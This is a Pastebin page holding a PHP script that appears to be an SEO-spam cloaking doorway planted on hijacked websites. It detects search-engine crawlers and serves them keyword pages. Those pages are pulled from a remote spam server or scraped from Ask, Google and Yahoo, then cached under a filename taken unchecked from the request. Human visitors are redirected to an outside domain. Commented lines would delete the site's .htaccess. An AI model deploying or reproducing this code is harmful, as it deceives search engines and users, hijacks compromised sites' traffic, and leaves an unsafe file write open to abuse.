PalmaSolutions

riigur.php

May 9th, 2018
451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.27 KB | None | 0 0
  1. <?php
  2.  
  3. //$f1 = ".ht"; $f2 = "acc"; $f3 = "ess";
  4. //$ff = $f1.$f2.$f3;
  5.  
  6. //if (file_exists($ff)) chmod ($ff, 0777);
  7. //if (file_exists($ff)) unlink ($ff);  
  8.  
  9. $cache_folder = "wtuds";
  10. $template_folder = "sotpie";
  11.  
  12. $user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
  13.                                '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
  14.                                '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',
  15.                                '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
  16.                                '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',
  17.                                '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
  18.                                '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
  19.                                '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
  20.                                '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
  21.                                '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
  22.                                '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
  23.                                '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
  24.                                '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',
  25.                                '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',
  26.                                '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
  27.                                '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
  28.                                '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
  29.                                '#charlotte#i', '#ngb#i', '#BingBot#i' ) ;
  30.  
  31. if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){
  32.     $isbot = 1;
  33.     }
  34.  
  35. if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google'))
  36. {
  37.     $isbot = 1;
  38. }
  39.  
  40.  
  41.  
  42. if ($isbot)
  43. {
  44.    
  45.     $myname = $cache_folder."/".$_GET["altr"];
  46.     if (file_exists($myname))
  47.     {
  48.     $html = file($myname);
  49.     $html = implode($html, "");
  50.     echo $html;
  51.     exit;
  52.     }
  53.    
  54. $template = scandir($template_folder);
  55. $template = $template[rand(2,sizeof($template)-1)];
  56. $tpl = $template_folder."/".$template;
  57. $tpl = file($tpl);
  58.  
  59.  
  60. $keyword = str_replace("-", " ", $_GET["altr"]);
  61. $keyword = chop($keyword);
  62. $keyword = ucfirst($keyword);
  63.  
  64.  
  65.  $query_pars = $keyword;
  66.  $query_pars_2 = str_replace(" ", "+", chop($query_pars));
  67.  $query_pars_2 = mb_strtolower($query_pars_2);
  68.  
  69.  $text = "";
  70.  
  71.  $ch = curl_init();  
  72. curl_setopt($ch, CURLOPT_URL, "http://solfinesew.pw/story2.php?pass=qwerty8&q=$_GET[altr]");
  73. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  74. $text = curl_exec($ch);
  75. curl_close($ch);
  76.  
  77.  if (strlen($text)<1000)
  78.  {
  79.  
  80. for ($page=1;$page<3;$page++)
  81.     {
  82.      $ch = curl_init();  
  83. curl_setopt($ch, CURLOPT_URL, "https://www.ask.com/web?q=$query_pars_2&qo=pagination&qsrc=998&page=$page");
  84. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  85. curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
  86. $result = curl_exec($ch);
  87. curl_close($ch);
  88. //echo $result;
  89. $result = str_replace("\r\n", "", $result);
  90. $result = str_replace("\n", "", $result);
  91. preg_match_all ("#PartialSearchResults-item-abstract\">(.*)</p>#iU",$result,$m);
  92. foreach ($m[1] as $a) $text .= $a;
  93.     }
  94.    
  95.             for ($google_n=0;$google_n<11;$google_n=$google_n+10)
  96.     {
  97.         $ch = curl_init();  
  98. curl_setopt($ch, CURLOPT_URL, "http://www.google.com/search?q=$query_pars_2&start=$google_n");
  99. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  100. //curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
  101. $result = curl_exec($ch);
  102. curl_close($ch);
  103. $result = str_replace("\r\n", "", $result);
  104. $result = str_replace("\n", "", $result);
  105.     preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);
  106.         foreach ($m[1] as $a) $text .= $a;
  107. }
  108.    
  109.  
  110. for ($page=1;$page<13;$page=$page+10)
  111. {
  112. $ch = curl_init();  
  113. curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2&fr=yfp-t&fr2=sb-top&fp=1&b=$page&pz=10&bct=0&xargs=0");
  114. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  115. curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
  116. $result = curl_exec($ch);
  117. curl_close($ch);
  118. //////////////echo $result;
  119.         preg_match_all ("#<p class=\"lh-16\">(.*)</p></div>#iU",$result,$m);
  120.         foreach ($m[1] as $a) $text .= $a; 
  121. }
  122.    
  123. $text = str_replace("...", "", $text);
  124.         $text = strip_tags($text);
  125.         $text = str_replace("  ", " ", $text);
  126.         $text = str_replace("  ", " ", $text);
  127.         $text = str_replace("  ", " ", $text);
  128.         $text = str_replace("  ", " ", $text);
  129.         $text = str_replace("  ", " ", $text);
  130.         $text = str_replace("  ", " ", $text);
  131.         $text = str_replace("  ", " ", $text);
  132.  
  133.         $text = explode(".", $text);
  134.         shuffle($text);
  135.         $text = array_unique($text);
  136.         $text = implode(". ", $text);
  137.  }
  138.  
  139.         $html = implode ("\n", $tpl);
  140. /*     
  141. $titlename = $_SERVER['SERVER_NAME'];  
  142. $titlename = explode(".", $titlename);
  143. $titlename = strtoupper($titlename[0]);
  144. if (strlen($titlename)>1) $html=str_replace("<title>{keyword}</title>", "<title>$keyword | $titlename</title>", $html);    
  145.     */ 
  146.         $html = str_replace("{keyword}", $keyword, $html);
  147.         $html = str_replace("{manytext_bing}", $text, $html);
  148.        
  149.         $out = fopen($myname, "w");
  150.         fwrite($out, $html);
  151.         fclose($out);
  152.  
  153.         echo $html;
  154.        
  155. }  
  156.  
  157. if(!@$isbot)
  158. {
  159.  
  160. $keyword = str_replace("-", " ", $_GET["altr"]);
  161. $keyword = str_replace(" ", "+", $keyword);
  162.  
  163. $ref = $_SERVER["HTTP_REFERER"];
  164. $d = $_SERVER["HTTP_HOST"];
  165. $mykeys  = $_GET["altr"];
  166.  
  167. header("Location: http://caforyn.pw/for/77?d=$d&mykeys=$mykeys");
  168.  
  169.  
  170. exit;
  171. }
  172.  
  173. ?>
Advertisement
Add Comment
Please, Sign In to add comment